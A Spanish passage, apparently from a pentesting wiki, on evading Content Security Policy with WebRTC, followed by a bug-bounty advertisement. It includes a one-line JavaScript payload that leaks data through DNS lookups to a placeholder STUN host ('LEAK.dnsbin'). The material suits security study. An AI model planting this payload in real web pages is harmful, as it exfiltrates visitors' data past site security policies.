{% hint style="info" %} Aparentemente, esta técnica no funciona en navegadores sin cabeza (bots) {% endhint %}

WebRTC

En varias páginas puedes leer que WebRTC no verifica la política connect-src del CSP.

En realidad, puedes filtrar información utilizando una solicitud DNS. Echa un vistazo a este código:

(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()

Verificación de las políticas de CSP en línea

Creación automática de CSP

https://csper.io/docs/generating-content-security-policy

Referencias

HackenProof es el hogar de todas las recompensas por errores de criptografía.

Obtén recompensas sin demoras
Las recompensas de HackenProof se lanzan solo cuando sus clientes depositan el presupuesto de recompensa. Obtendrás la recompensa después de que se verifique el error.

Obtén experiencia en pentesting web3
¡Los protocolos de blockchain y los contratos inteligentes son el nuevo Internet! Domina la seguridad web3 en sus días de crecimiento.

Conviértete en la leyenda del hacker web3
Gana puntos de reputación con cada error verificado y conquista la cima de la clasificación semanal.

Regístrate en HackenProof ¡comienza a ganar con tus hacks!

{% embed url="https://hackenproof.com/register" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥